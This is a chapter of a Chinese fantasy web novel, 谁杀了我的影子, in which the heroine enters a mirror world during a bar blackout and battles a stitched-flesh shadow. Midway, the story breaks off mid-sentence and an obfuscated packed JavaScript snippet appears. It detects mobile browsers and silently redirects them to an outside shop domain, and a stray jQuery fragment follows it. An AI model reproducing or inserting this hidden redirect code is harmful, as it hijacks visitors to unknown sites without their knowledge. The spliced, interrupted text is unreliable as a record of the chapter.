文趣网 > 都市小说 > 谁杀了我的影子 > 13. 第 13 章
    裴执非正在二楼正中央的包厢,这里视野绝佳,不仅能欣赏舞台表演,更能将整个1楼大厅尽收眼底。

    他已经在栏杆前站了很久,从看见迟惊影旁边那个不三不四的年轻男人喂她酸奶,还颇为亲昵地给她擦嘴开始,再到她一路溜去厕所,彻底在他视野中消失。

    裴执非始终沉默不语,只是周身的气压越来越低。

    “老板,要推迟计划吗?”身后的陆杨眼观鼻鼻观心,贴心地请示。

    裴执非的指节轻轻敲在栏杆上,楼下舞台灯光绚烂,镜子墙映着热闹人群,像一场不真实的幻梦。

    但隔壁包厢已经空了,他于是开口道:“来不及了,正常推进。”

    陆杨点头,转身正要离开,却又被叫住。

    “等等。”

    裴执非目光仍落在楼下,声音冷淡:“看着点场子,不要伤及无辜。”

    *

    喧闹又绚丽的酒吧瞬间陷入黑暗,歌声戛然而止,观众席里随即响起一片不满的嚷嚷声。很快有主事的经理赶来,大声解释说突发停电,已经在找备用电源了,请大家坐在位置上稍等片刻。

    迟惊影扶着舒曼停在厕所门口,四周漆黑一片,只有远处舞台边缘残存的荧光装饰,以及人群手背上幽幽发亮的绿色印章。

    她本能地觉得危险。这熟悉的黑暗,让她想到了一个名词——黑匣子。

    没有光源和镜子,这里是另一个世界的影子们自由活动的空间。

    可裴执是的警告让她对黑匣子多了一份警觉,自由活动的空间对一些不怀好意的存在来说也是不设限的猎场。

    她想起上一次脱离镜像世界时,在医务室门口一闪而过的血肉影子,那股粘腻的窥伺感还在脑海中挥之不去。

    “没事的。”她安慰自己,“镜像世界里没有我的影子,只要我还待在现实,自然就是安全的。”

    “迟迟,看得清路吗?”舒曼贴心地打开手机光,微弱的光照亮了两人脚下的地面。

    她指了指酒吧大门的方向:“我们先出去。”

    两人搀扶着前进,可酒吧里桌椅密集、人潮拥挤,客人们在黑暗中更加躁动不满。在经过舞台的时候,舒曼忽然哎呀一声,脚下像是被绊了一下,连带着迟惊影也身体不稳,双双往前栽去。

    舒曼的手机光乱晃几下,刚好扫过舞台上的镜子墙。光线掠过的一瞬间,镜中有一只手朝迟惊影探出,稳稳抓住了她的手腕。

    熟悉的拉扯感袭来,迟惊影被拽进湖水般的镜面。所有声音被拉长,周围画面水波般扭曲。

    又来了,她又被裴执是拉进镜子里了?

    再睁开眼时,世界果然左右翻转,但那个绷带缠身的男人并没有出现。握住她手腕的那只手,柔软、冰凉,指尖还在轻轻颤抖。

    “迟迟?”是舒曼的声音,但比现实中的语气显加慌张无措。

    这一次,把她拉进镜像世界的,竟然是舒曼的影子。

    微弱的手机光下,两人掌心之间,隐隐连着一根细细的红线。

    迟惊影盯着那条线,脑子里飞快闪过之前几次进出镜像世界的画面。

    她和裴执是之间,也有这样的红线。

    如果黑线是恶因,是恨意的实体,那么红线呢?

    是黑线的反面,正面的情感,或者叫做……善因?

    她和舒曼多年好友,在镜中有红线相连并不奇怪。反倒不如说,奇怪的是她和裴执是明明才见过几次,为什么也会有?

    “怎么了,曼曼?”她看不清舒曼的表情,只能感觉到对方正困惑地摸索她的双手、肩膀,甚至试探着碰了碰她的脸颊轮廓。

    “奇怪了。”影子舒曼喃喃自语,“你怎么会突然出现在这边?明明我平时都看不见你,就好像迟惊影没有影子似的。”

    迟惊影浑身汗毛瞬间立了起来,她突然意识到,自己一直忽略了一个很重要的问题。

    她是没有影子的人!

    她在现实世界的时候,镜像世界里不会再出现一个与她对称翻转的影子。

    每当她在现实世界透过镜子窥探别人时,镜子里的那些影子,也许同样正在纳闷——

    为什么迟惊影没有影子?

    她根本无法保守自己的秘密,除非一直待在镜像世界,让外面的身体变成一具傀儡空壳,跟随自己的一举一动。

    “我……”迟惊影额上沁出一层细密冷汗,一时不知道该怎么解释。

    她有些无措地环视四周,只能见到一枚枚绿油油的印章在黑暗中发着荧光,像是蛰伏在黑暗里的野兽眼睛。

    这些客人的影子比现实中更加躁动,不少人站了起来叫嚣着要酒吧退钱,舞台前还挤了一堆人推推搡搡、骂骂咧咧。而她和舒曼正好被挤在人群边缘,远离了镜子墙能照到的位置。

    “我知道了。”影子舒曼突然开口,“你平时都藏在茧里,对不对?”

    “茧是什么?”

    迟惊影瞬间捕捉到了这个关键词。

    “就像这样。”舒曼指了指自己脚下。

    迟惊影调亮手机光,顺着她指的方向看去,只见舒曼的双脚被一圈又一圈的黑线缠在一起。那些丝线红黑交错,编织成了一副厚茧般的镣铐,紧紧勒住她的肌肤。

    “因果太重,线太多太杂,就会变成茧。”影子舒曼轻声道,“它会困住我的身体,限制我的行踪,让我哪里都去不了。”

    难怪舒曼的影子之前一直在镜子里发抖、啜泣,原来她是被这玩意困住了。

    “你的脚是被谁弄成这样的?”迟惊影气急。

    影子舒曼闻言忽然红了眼眶,跟迟惊影平日里见到的大气明艳的舒曼判若两人。此刻的她像是终于找到了可以倾诉的人,抓住迟惊影的手臂,声音发颤地一股脑说了出来。

    “还能是谁?结婚这么多年,我一直以为忍一忍,总会变好的。”

    “可他的控制欲越来越夸张。最开始只是出门要报备,见谁,去哪里,几点回来,都要说清楚。后来他开始查我的手机,查我的消费记录,查我的定位。”

    “上次我偷偷出来见你,被他发现了。他发了好大的火,把我的手机、平板、电脑全都翻了一遍,连我有没有偷偷删聊天记录都要查。”

    “那天晚上,他折腾得我一夜没睡,还说再有下次,就把我捆起来,戴上脚链锁在家里,让我哪里也去不了。”

    舒曼越说越激动,声音几乎带上哭腔。

    “可是今天,我又被发现了。明明他今天应该出差的啊。为什么这么倒霉,偏偏又撞上了……”

    迟惊影却越听越火大,恨不得现在就冲出去报警,把那个控制狂渣男抓起来。。

    她轻拍舒曼的肩,轻声细语安抚了好一会儿,等舒曼平静下来了,才忍着怒气问道:“所以刚才你看见了你老公?他又对你发火了?这个人渣在哪儿?”

    舒曼迷茫地摇了摇头,她也不知道。但看到迟惊影就在眼前,她又突然想起来什么,反握住她的手。

    “迟迟,你呢?你之前不在的时候,是不是也被困在茧里?”

    迟惊影一愣,对啊……

    镜像世界里的黑线一旦多了,缠绕在影子身上,就慢慢变成了茧,束缚影子的行动。

    那她消失的影子,会不会也是被某个厚重的茧困住了?

    掌心那条莫名出现的黑线,是否正是茧的一根线头?

    可是,迟惊影又疑惑了,要将她的影子完全困住得需要多大的茧?又需要多复杂的因果线?

    她从小到大又没什么生死仇家,最多也只是前不久在镜像世界里制止医闹时,被杨叔的恶因刺出了一道黑线。除此之外,谁会对她有这么大的恶意呢?

    她有些警惕地看了看周围的环境,最可怕的并不是明面上的仇人。而是直到此刻,她才突然意识到,也许有一个人一直在暗处窥伺她,怀着极大的恶意期待她去死。

    持续的黑暗让人群越来越烦躁,服务生已经给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700380|208142||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    每桌上了蜡烛,微微驱散了场地里的黑暗。

    但没有被现实中的身体牵引回去的瞬移感,迟惊影确定自己还在黑匣子里。所以,不需要完全无光,只要镜面被遮挡,光线降低到一定程度,再避开其他的反光物体,就足以制造出黑匣子。

    突然,怀里的舒曼狠狠颤了下,朝舞台的方向伸出手。

    “那是……那是……”

    察觉到舒曼的恐惧,迟惊影一边将舒曼挡在身后,一边朝舞台看去。

    镜像世界里的古斯特仍坐在舞台上,从断电开始他就一直耐心等着,偶尔安抚几句台下观众。和现实不同,镜像世界里的他风格更加张扬浮夸,长相更加摄人心魂。

    这倒也正常,根据迟惊影这几次的观察,许多影子的美丑反映了本尊自信或自卑的心理,这位人气驻唱歌手显然属于前者。

    但此时,他有些不淡定了。因为他面前,神不知鬼不觉地出现了一个血红色的人。

    那人没有皮肤,只有一块块血肉被粗糙地拼凑、缝合起来,勉强堆成人形。它别扭地走到古斯特面前,散发着极其危险的气息。

    迟惊影倒吸一口凉气,她见过这个影子!就在智影未来发布会,她在二楼医务室穿回现实世界的时候,这个影子就在门外经过!

    接连两次,要说是巧合恐怕太牵强,她大胆猜测这个不人不鬼的东西,也许跟自己消失的影子有关……甚至,也许就是用茧困住她影子的罪魁祸首?!

    舒曼抖得更厉害了,她说不出话,眼睁睁地看着那血红色的身影走向古斯特,在少年懵懂未解的目光中,裂开了一张血盆大口。

    “啊!!”古斯特惊呼。

    迟惊影快步冲上舞台,在那张西瓜大的嘴巴落下之前,一把从后方锁住它的喉咙,手臂狠狠卡住它的脖颈,将它整个往后一拽。

    同时,她没忘裴执是让她藏好身份的叮嘱,特意将手腕上的荧光印章藏起来,避免从左右手上叫人看出端倪。

    杀人影子没料到有第三人出手,当真被迟惊影拦住,让她借着惯性,将它狠狠按倒在舞台上。

    “快走!”她朝古斯特大喊。

    古斯特原本已经吓傻了,此刻才如梦初醒,连滚带爬往台下跑了两步。可跑出几步后,他竟然又停住了。

    少年回头看向迟惊影,眼里的惊慌恐惧迅速被另一种兴奋取代。

    “女侠,你救了我,我不会丢下你的!”

    说着,他甚至撸起袖子,志得意满地展示强壮的肱二头肌。

    “哪儿来的坏蛋,我单手就可以制服他,你负责报警就好了!”

    迟惊影:……

    她沉默片刻,古斯特已经热心地冲上来,伸手想帮她一起按住红色影子。手下粘腻的血肉很恶心,它被制服后就没再挣扎,但这样的乖巧却让迟惊影生出不详的预感。

    古斯特的手刚碰到它,触碰到的血肉随之塌陷下去。迟惊影这才看清,这只红色影子是由一个个血肉碎块,用细线强行绑在一起的。那些线乍一看是红色的,可细看才发现,那只是被血浸透后的颜色。

    真正的线,是黑线。

    这些黑线在肉块间蠕动着,像是蛆虫在吸食血肉的养分,又因此将这具松垮的身体绑得更紧凑。

    “救命,这什么鬼啊啊啊啊!”

    古斯特的拳头深深陷进肉块里,那些染血的黑线忽然像嗅到了活物,猛地顺着他的手背爬上来,如同狡猾的蛇一圈一圈飞快缠紧,直到裹成一个小小的茧。

    和舒曼脚上的茧很像。

    迟惊影下意识地伸手,想帮古斯特挣脱开茧的束缚。可就在指尖即将触碰之时,古斯特手腕上的黑线像是突然长了眼睛似的,一个急转弯就朝她的胸口刺来。

    电光火石的一瞬,身后传来舒曼的惊呼,迟惊影的大脑一片空白。

    不能被发现自己不是影子。

    不能被这个疑似杀人凶手的东西禁锢。

    更不能……不能死在这里。